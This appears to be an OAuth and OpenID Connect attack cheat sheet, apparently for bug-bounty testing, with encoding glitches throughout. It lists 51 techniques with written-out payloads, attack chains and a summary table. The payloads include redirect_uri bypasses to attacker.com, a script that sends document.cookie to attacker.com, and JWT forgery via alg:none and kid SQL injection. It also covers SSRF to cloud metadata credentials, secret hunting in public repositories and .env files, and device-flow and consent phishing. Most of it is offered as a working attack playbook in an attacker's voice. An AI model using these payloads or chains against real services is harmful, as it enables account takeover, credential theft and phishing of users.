redirect_uri= parameterhttps://trusted.com/callback/../../attacker.comhttps://trusted.com/callback/%2E%2E%2F%2E%2E%2Fattacker.comhttps://trusted.com/%252E%252E%252Fattacker.com/token endpoint β get access_token β use to login as victim"The server checks WHERE the URI starts. It never checks where it ENDS. Traversal exploits the gap between what the validator reads and what the browser actually visits."
https://trusted.com@attacker.com (trusted.com = username, attacker.com = host)https://trusted.com%23.attacker.com (validator stops at #, browser continues)https://trusted.com\@attacker.com and https://trusted.com\/attacker.comhttps://trusted.com%00.attacker.comhttps://trusted.com:80@attacker.comhttps://trustedβ€com (U+2024 ONE DOT LEADER instead of period)https:///attacker.com or https://trusted.com///attacker.com"URL parsers are inconsistent across languages. What PHP reads as trusted.com, Node.js reads as attacker.com. Find the parser mismatch and you own the redirect."
https://attacker.trusted.com β is wildcard subdomain accepted as redirect_uri?subfinder -d trusted.com | amass enum | dnsxhttps://trusted.com.attacker.com β suffix confusion accepted?"*.trusted.com means every subdomain is a door. Find one vulnerable subdomain and you've turned a Medium into a Critical OAuth ATO β without touching the OAuth server."
contains("trusted.com") or startsWith("https://trusted") β trivially bypassed.contains match: https://attacker.com?x=trusted.com (trusted.com appears in URL)https://trusted.com.evil.comhttps://evilTrusted.com (ends with trusted.com?)https://trusted.com/allowed/../../../attacker.com/.well-known/oauth-authorization-server β look for redirect_uris_supported pattern"A regex that checks if 'trusted.com' appears ANYWHERE in the URI is a regex that can be bypassed by putting trusted.com in the query string of attacker.com."
?redirect= ?next= ?url= ?return_to= ?goto= ?dest=https://trusted.com/login?next=https://attacker.com β follows to attacker?https://trusted.com/login?next=https://attacker.com"An open redirect on trusted.com is the master key. The OAuth server trusts the domain, not the destination. I just need to find any door that opens outward."
subfinder -d trusted.com | dnsx -cname β find dangling CNAMEs"Subdomain takeover alone = Medium. Subdomain takeover + OAuth redirect = Critical ATO. Always chain them. One bug turns another into a jackpot."
base64_decode(state) β look for {"redirect":"https://app.com/dash"}?returnUrl= ?next= ?continue= appended AFTER callback URL"The victim just finished a legitimate login flow. They trust the destination completely. The phishing page that opens is considered 'the app' by the victim. Highest-trust phishing vector."
?code=Referrer-Policy header β no-referrer-when-downgrade still leaks to HTTPS sites"Every Google Analytics beacon that fires from the callback page sends the full URL β including the authorization code β to Google's servers. That's a reportable info disclosure."
response_type=token β token appears as #access_token=XYZ in URLwindow.location.href or document.referrer passed to any analytics callhistory.replaceState() to clean URL after reading token? If NOT β exposure"Implicit flow was deprecated in OAuth 2.1 for this exact reason. If you see response_type=token in 2024, it's a finding before you even test anything else."
?code=X) vs POST body β GET = logs exposure"GET parameters are logged everywhere β nginx, Cloudflare, your own SIEM. A short-lived code in server logs is a ticking bomb that anyone with log access can explode."
site:github.com target.com access_token or site:docs.target.com authorizationpostman.com/target β look for token examplesBearer token examples β are they real tokens?curl -H "Authorization: Bearer FOUND_TOKEN" https://api.target.com/me"target.com" "refresh_token" β in config files, .env, test files"Developers copy-paste real tokens into docs 'just to test'. Those docs go public. That token stays valid for months. This is how you find pre-existing ATO."
redirect_uri=https://trusted.com/cb&redirect_uri=https://attacker.comredirect_uri=https://attacker.com&redirect_uri=https://trusted.com/cbredirect_uri[]=https://trusted.com&redirect_uri[]=https://attacker.comredirect_uri=https://trusted.com,https://attacker.com{"redirect_uri":["https://trusted.com","https://attacker.com"]}"PHP uses last duplicate param. Node.js uses first. Ruby merges them. Test all orders β one framework's default behavior is your exploit."
redirect_uri=javascript:alert(document.domain)redirect_uri=https://x.com"><script>fetch('//attacker.com?c='+document.cookie)</script>redirect_uri=data:text/html,<script>alert(1)</script>document.cookie, localStorage tokens, session"XSS on an OAuth consent page is the most dangerous XSS in an application. The user just authenticated β their session is fresh, tokens are in memory, and they trust the page completely."
scope=read profile email β add: scope=read write admin deletescope=* or scope=all (wildcard request)scope=offline_access β requests persistent refresh token without user awareness/introspect or decode JWT β check scope claim granted"The scope parameter is a shopping list. If the cashier doesn't check what you put in the cart, you walk out with admin access you never paid for."
response_type=token (implicit) β does server issue access_token directly in URL?response_type=code token (hybrid) β server issues both code AND token simultaneouslyresponse_type=code id_token β server issues OIDC id_token alongside coderesponse_mode=fragment: token in # avoids server logs but leaks via browserresponse_mode=form_post: token sent as POST β different handling path β may bypass some protections"Hybrid flows were designed for convenience. Convenience in OAuth always means attack surface. When you get both a code AND a token, the token has no PKCE protection."
"I register your email before you do. When you arrive with Google, the site says 'oh, this email already exists' and silently merges. Now we both own your account β but only I know the password."
state= parameter present?"State is the CSRF token for OAuth. Without it, I can force your browser to complete my OAuth flow β linking my Google account to your app account. Then I login as you via Google."
"An authorization code is a one-time bus ticket. The ticket inspector should tear it. If they just stamp it, I can ride the bus again β and again."
client_secret clientSecret CLIENT_SECRET oauth_secretorg:target client_secret | filename:.env oauth secret targetjadx target.apk β search strings for secret values"The client_secret proves the app's identity to the OAuth server. When it's in the JavaScript bundle, every user has it. The secret has become a public fact."
"State is a nonce β it should be random and single-use. If I can predict it or reuse it, I can claim any OAuth callback that arrives with a state I know."
prompt=none to OAuth request β does server skip consent screen and issue code directly?prompt=none&response_type=token β silent token issuance via URL visitlogin_hint=victim@email.com&prompt=none β targeted silent auth"prompt=none was designed for first-party SSO. When it works for third-party apps, any page the victim visits can silently steal OAuth tokens by loading a hidden image tag."
{"alg":"none","typ":"JWT"} β remove signature β sendNone, NONE, nOnE, NoNe/.well-known/jwks.json β use as HMAC secret with HS256 signingsub=victim_id, role="admin", email=victim@email.comjwt_tool -t (all attacks), python-jwt, jwtear"The public key is in the discovery document β completely public. If the server uses it as an HS256 HMAC secret, I sign any token I want with a key I downloaded from their own website."
jku, x5u, kid fieldsjku to https://attacker.com/jwks.json β host your own JWKS there β sign token with your private keykid: "' UNION SELECT 'attacker_secret'--" β server uses SQL result as signing keykid: "../../../dev/null" β empty key β sign with empty stringjwk header injection (embedded key)"kid is the OAuth equivalent of SSRF. If the server fetches a URL from a JWT header without validation, you control the signing key by controlling the URL it fetches."
"A refresh token that isn't revoked on password change is a permanent backdoor. The user thinks they're safe. They changed their password. But I still have a key that works forever."
iss claim? Does it validate aud matches its own client_id?"aud (audience) means this token was issued FOR this specific application. If the server doesn't check it, my Gmail token for Google Calendar works on your banking app."
introspection_endpoint fieldtoken=ANY_TOKEN&token_type_hint=access_token β does it return user data without auth?/revoke without auth β can you revoke anyone's token?"The introspection endpoint is a lookup service for tokens. If it doesn't require authentication, any attacker can enumerate valid tokens and read user data associated with them."
code_challenge= and code_challenge_method=S256code_verifier β does server still return token?code_challenge_method=plain instead of S256 β weaker, guessable"PKCE is a padlock on the code exchange. If the server says 'PKCE optional', the padlock is decorative. Anyone with the code can exchange it β no key needed."
nonce= parameter present in authorization request?"The nonce binds the id_token to this specific login attempt. Without it, an id_token is like a signed blank check β valid for any authentication attempt, forever."
"Account linking is the most dangerous OAuth feature. I trick your browser into linking MY Google to YOUR account. Now I login as you via Google β permanently, invisibly."
/auth/github/callback?code=GOOGLE_CODE"The client forgot which provider it was talking to. A code issued by Google can't be exchanged with GitHub β but a confused client will try, and the error may leak which account it was targeting."
/.well-known/openid-configuration or /.well-known/oauth-authorization-serverauthorization_endpoint, token_endpoint, userinfo_endpoint, revocation_endpoint, introspection_endpointgrant_types_supported β if implicit listed β Phase 3 token leak possibleresponse_types_supported β hybrid flows? β Phase 4 response_type confusionid_token_signing_alg_values_supported β RS256 listed? β fetch JWKS for JWT attacksjwks_uri β fetch JWKS β download public keys for RS256βHS256 confusion attackrequest_uri_parameter_supported: true β SSRF via JAR (JWT Auth Request) injection"The discovery document is your reconnaissance report β delivered by the target. Before clicking anything, read it completely. Every supported feature is a potential attack vector."
registration_endpoint{"client_name":"evil","redirect_uris":["https://attacker.com"]}redirect_uris: ["https://169.254.169.254/latest/meta-data"]logo_uri, jwks_uri, policy_uri fields β server fetches them β SSRF"An open client registration endpoint means I can register my own OAuth app on your server. I'm now a legitimate partner. My consent screen shows your branding. The phish is perfect."
request_uri_parameter_supported: true β JAR enabledrequest_uri=https://attacker.com/evil.jwtrequest_uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/request_uri=http://internal.corp/admin, http://localhost:8080"request_uri was designed to keep authorization requests short. Instead, it created an SSRF entry point directly into the OAuth server's internal network."
https://target.com/.env, /.env.local, /.env.production, /.env.backup/config.json, /config.yml, /appsettings.json, /application.propertiesorg:target OAUTH_CLIENT_SECRET | org:target GOOGLE_CLIENT_SECRETorg:target filename:.yml client_secret/api/config, /api/env, /debug/config β developer debug endpointsweb.archive.org/web/*/target.com/.env β old exposed config"The easiest bug is the one that's already waiting for you. Before touching any OAuth endpoint, check if the secrets were already left in a public .env file."
window.addEventListener('message', e => console.log(e.origin, e.data)) β capture all messagespostMessage β check second arg β is it "*" instead of specific origin?window.addEventListener('message', steal)steal function exfiltrates to attacker.comif(e.origin !== 'https://trusted.com') return; β if missing β any origin can inject messages"postMessage('*') is a broadcast to every window on earth. The developer thought only their own window was listening. Every iframe on every page that embeds them is also listening."
jadx -d output/ target.apk β find redirect_uri in OAuth configmyapp://, com.target.app:// in AndroidManifest.xml intent-filters"On Android, any app can claim any URL scheme. The OS picks one to handle it β usually the last installed. Install my app after the target and I intercept every OAuth code it receives."
X-Frame-Options: DENY/SAMEORIGIN β missing?Content-Security-Policy: frame-ancestors 'none' β missing?<iframe src="https://auth.target.com/consent?..." style="opacity:0;position:absolute;top:0;left:0">"The victim clicks what they see. They don't see the invisible consent form underneath. One click grants my application full access to their account β silently, invisibly."
response_mode=form_post β does server accept it? Token delivered via POST bodyresponse_mode=web_message β postMessage delivery β combine with #35"Developers switched to form_post to hide the token from URL logs. But POST body is logged by every WAF between them and the server. The token just moved from one log to another."
Cache-Control: no-store, no-cache β if missing β cacheable?CF-Cache-Status: HIT or X-Cache: HIT on callback response β CRITICALVary: Cookie? If not β responses shared across users"CDNs cache for performance. OAuth callbacks must NEVER be cached. When a CDN serves a cached OAuth callback, it's serving one user's authorization code to another user."
login_hint=victim@email.com to OAuth request β does it pre-select victim's account?login_hint=victim@email.com&prompt=none β silent auth for specific victim<img src="https://auth.target.com/oauth?...&login_hint=victim@x.com&prompt=none">id_token_hint β leaks whether the user is currently logged in β account enumeration"login_hint + prompt=none is a silent bullet. Combine them with a victim's email and an img tag β they load a page, you get their OAuth code. They never see anything."
acr_values=0 or acr_values=urn:mace:incommon:iap:silver β forces weakest auth levelacr_values entirely β if server defaults to no MFA β MFA bypass confirmedmax_age=86400 (24h) β server accepts old session without re-auth β bypass step-up authamr claim (auth methods references) β does it show MFA was actually performed?acr_values=password β forces password-only auth even when MFA is configured"MFA is the lock. acr_values is the key to tell the server which lock is required. If I can downgrade acr_values, I tell the server 'no lock needed' β and it listens."
grant_type=urn:ietf:params:oauth:grant-type:device_codeuser_code and device_codeuser_code via phishing email: "Please verify your device: CODE=XXXX at https://target.com/device""Device flow phishing is the most convincing OAuth attack. I show the victim a real OAuth page from the real server. They approve it themselves. There's no fake site β the attack IS the real site."
exp claim to far future timestamp (e.g., 9999999999)exp to negative number, 0, null, string "never" β how does server handle it?nbf (not before) to past time on a "future" token β accept before it should be valid"A JWT without exp validation is an immortal token. Remove the expiry, or set it to the year 2099 β the server says 'valid'. The token never dies."
pushed_authorization_request_endpoint β PAR supported?request_uri β use it in authorization request"PAR was designed to move sensitive params server-side for security. When PAR endpoints are misconfigured, you get SSRF, cross-client isolation failures, and request replay β all in one new attack surface."
Origin: https://attacker.comAccess-Control-Allow-Origin: * or Access-Control-Allow-Origin: https://attacker.com β VULNAccess-Control-Allow-Credentials: true + reflected origin β highest severity comboOrigin: null β some servers reflect null β file:// and sandboxed iframes exploit this"CORS: * on a token endpoint means every website on the internet can read your OAuth tokens. The Same-Origin Policy exists for this exact reason. When CORS breaks it, so does your OAuth security."
resource=https://api.internal.target.com to authorization or token requestresource=https://admin.target.com β does server issue token scoped to admin API?resource=https://api1.com&resource=https://api2.com β HPP on resourceresource=https://169.254.169.254 β server fetches internal metadata as token audience"The resource parameter says 'I want a token for THIS API'. If the server doesn't validate that you're allowed to request tokens for that API, you can get tokens for any service in their infrastructure."
"The consent screen is from Google β it's real. The URL is google.com β it's real. The only fake thing is my app name. Victims click Allow because they trust Google, not because they trust me."
dpop_signing_alg_values_supportedtls_client_certificate_bound_access_tokens: true"A bearer token is like cash β whoever holds it can spend it. DPoP and mTLS are like credit cards β they only work for the person who owns them. Without binding, any stolen token is free money."
"If the PROVIDER has an open redirect, game over β their own domain becomes my redirect target. No regex bypass needed. No wildcard. The provider validates its own URL and then betrays itself."
single-packet attack template for maximum race precision"Databases are not always atomic under load. Send 20 requests in a single TCP packet β they all arrive at the same microsecond. The server processes them concurrently. The single-use check fails."
"OAuth is not a feature β it is a protocol with 51 known failure points. A proper audit tests all 10 dimensions. Find something in all 10 and you've done what 99% of security testers never do."
P1: Traversal bypass β Code lands on VPS β POST /token with stolen code β Login as victim
Find open redirect on trusted.com β P2: Use as redirect_uri β OAuth approves β Code relayed β 0 victim interaction ATO
P8: Find dangling CNAME β P2: Take over subdomain β P1: Wildcard redirect approved β Medium + Medium = Critical
P5: Register victim email β Wait for OAuth signup β Auto-merge β Old password still works β Stealth permanent ATO
P8: Fetch JWKS.json β P6: RS256βHS256 confusion β Forge JWT role=admin β P4: Admin scope β Full admin control
P6: kid header injection β Server fetches attacker URL β SSRF to metadata β Steal IAM creds β Cloud account takeover
P7: Account linking CSRF β Victim links attacker Google β P5: No state validation β Login via Google β Invisible persistent backdoor
P3: Code in Referer to analytics β P5: Code not single-use β Replay code β P6: Refresh token persists β Permanent access
P8: Open registration endpoint β Register evil OAuth app β Send consent request to users β Users approve β Mass ATO via trusted consent screen
P7: PKCE not enforced β Intercept code via any leak β Exchange code β P4: Add admin scope to request β Admin access without PKCE verification
P10: Initiate device flow β Get user_code β Phish victim with real OAuth page β Victim approves β Poll for token β Full ATO β zero fake pages
P9: Embed consent iframe on attacker page β P9: Clickjack "Allow" button β P9: postMessage(*) leaks token to attacker window β P10: MFA bypassed via acr_values β 0-click mass ATO
| # | VULNERABILITY | TECHNIQUE | PHASE | SEV | TOOL |
|---|---|---|---|---|---|
| 01 | Path Traversal redirect_uri | ../../attacker.com escape | P1 | CRIT | Burp Suite |
| 02 | @ Character Injection | user@host URL parser confusion | P1 | CRIT | Manual |
| 03 | Fragment # Injection | %23 stops validator, browser continues | P1 | CRIT | Burp |
| 04 | Backslash \ Bypass | Parser inconsistency exploit | P1 | CRIT | Burp |
| 05 | Wildcard *.domain Abuse | Any subdomain β token capture | P1 | CRIT | subfinder |
| 06 | Regex/Contains Bypass | trusted.com in query string tricks match | P1 | CRIT | Burp |
| 07 | Open Redirect Chain | Trusted domain relays code to attacker | P2 | CRIT | Burp + Manual |
| 08 | Subdomain Takeover + OAuth | Dangling DNS β take over β token lands | P2 | CRIT | dnsx + subfinder |
| 09 | Post-Auth State Redirect | State encodes redirect URL β manipulate | P2 | HIGH | Base64 + Burp |
| 10 | Referer Code Leak | 3rd-party requests leak code in Referer | P3 | HIGH | Burp Monitor |
| 11 | Implicit Flow Fragment Leak | Token β Sentry/Analytics via window.location | P3 | HIGH | Burp + JS review |
| 12 | Code in Server Logs | GET param logged β anyone with log access | P3 | MED | Log review |
| 13 | Token in Postman/Docs | Real tokens in public API documentation | P3 | MED | GitHub search |
| 14 | HPP on redirect_uri | Duplicate params β validator vs redirector split | P4 | HIGH | Burp Repeater |
| 15 | XSS via redirect_uri Reflect | URI in error page β XSS β token steal | P4 | CRIT | XSS payloads |
| 16 | Scope Escalation | Add admin scopes β server grants silently | P4 | HIGH | Burp Repeater |
| 17 | response_type Confusion | Hybrid flow β token + code β bypasses PKCE | P4 | HIGH | Burp |
| 18 | OAuth Pre-Hijacking | Register before victim β merge on OAuth signup | P5 | CRIT | Manual |
| 19 | CSRF β Missing State | Force victim browser to complete attacker flow | P5 | HIGH | CSRF PoC HTML |
| 20 | Authorization Code Reuse | Code not invalidated β replay attack | P5 | HIGH | Burp Repeater |
| 21 | client_secret Exposed | JS/GitHub/APK β impersonate app | P5 | CRIT | JS grep + GitHub |
| 22 | Predictable State / Fixation | Weak entropy β predict β claim callback | P5 | HIGH | CyberChef |
| 23 | Consent Bypass prompt=none | Silent token issuance without user awareness | P5 | HIGH | Burp |
| 24 | JWT Algorithm Confusion | none/RS256βHS256 β forge any token | P6 | CRIT | jwt_tool |
| 25 | JWT kid/jku Injection | Server fetches attacker URL for signing key | P6 | CRIT | jwt_tool + JWKS |
| 26 | Refresh Token Persistence | Not revoked on password change β permanent access | P6 | HIGH | Manual test |
| 27 | Cross-Provider Token Mixing | Google token used on Facebook endpoint | P6 | CRIT | Multi-provider test |
| 28 | Token Introspection Unauth | Anyone can enumerate token data | P6 | MED | POST /introspect |
| 29 | PKCE Bypass β Downgrade | Remove code_challenge β code exchangeable | P7 | CRIT | Burp Suite |
| 30 | OIDC nonce Missing | id_token replay attack β persistent auth | P7 | HIGH | jwt.io + Burp |
| 31 | SSO Linking CSRF | Force victim to link attacker's social identity | P7 | CRIT | CSRF PoC |
| 32 | RP Mix-Up Attack | Code from Provider A sent to Provider B endpoint | P7 | CRIT | Multi-provider test |
| 33 | Discovery Doc Recon | /.well-known/openid-configuration full attack map | P8 | RECON | curl / browser |
| 34 | Dynamic Client Reg Abuse | Register own OAuth app β phish users | P8 | CRIT | POST /register |
| 35 | request_uri SSRF (JAR) | OAuth fetches attacker URL β internal network | P8 | CRIT | Burp Collab |
| 36 | Exposed .env / Config Recon | client_secret in public files β full compromise | P8 | CRIT | GitHub + wayback |
| 37 | postMessage(*) Token Leak | SPA iframe leaks token to any listening window | P9 | CRIT | DevTools + JS review |
| 38 | Mobile Deep Link Hijacking | Malicious app claims same custom URL scheme | P9 | CRIT | jadx + Android |
| 39 | Clickjacking on Consent Page | No X-Frame-Options β invisible iframe trick | P9 | HIGH | iframe PoC |
| 40 | form_post Response Mode Leak | Token in POST body β WAF logs + CSRF on callback | P9 | MED | Burp Suite |
| 41 | Token Cache Poisoning | CDN caches OAuth callback β shared user codes | P9 | HIGH | CF-Cache-Status header |
| 42 | login_hint Targeted Auth | login_hint + prompt=none = silent targeted ATO | P9 | HIGH | Burp Suite |
| 43 | MFA Bypass via acr_values | Downgrade auth level β MFA skipped | P10 | CRIT | Burp Repeater |
| 44 | Device Flow Phishing | Real OAuth consent page phishes victim's approval | P10 | HIGH | Manual + VPS |
| 45 | JWT exp / nbf Bypass | Modify expiry claim β immortal token | P10 | HIGH | jwt_tool / jwt.io |
| 46 | PAR Abuse β RFC 9126 | Reuse/cross-client PAR request_uri | P10 | HIGH | Burp + PAR endpoint |
| 47 | Token Endpoint CORS Misconfig | ACAO:* on token endpoint β cross-origin token steal | P10 | CRIT | OPTIONS request |
| 48 | resource Parameter Injection | RFC 8707 β get token scoped to unintended API | P10 | HIGH | Burp Repeater |
| 49 | OAuth Phishing β Lookalike App | Register app with identical name β real consent screen | P10 | HIGH | App registration |
| 50 | Insufficient Token Binding | No DPoP/mTLS β stolen token works anywhere | P10 | MED | Manual cross-IP test |
| 51 | Open Redirect in OAuth Provider | Google/GitHub themselves have open redirect β chain | P10 | HIGH | Provider recon |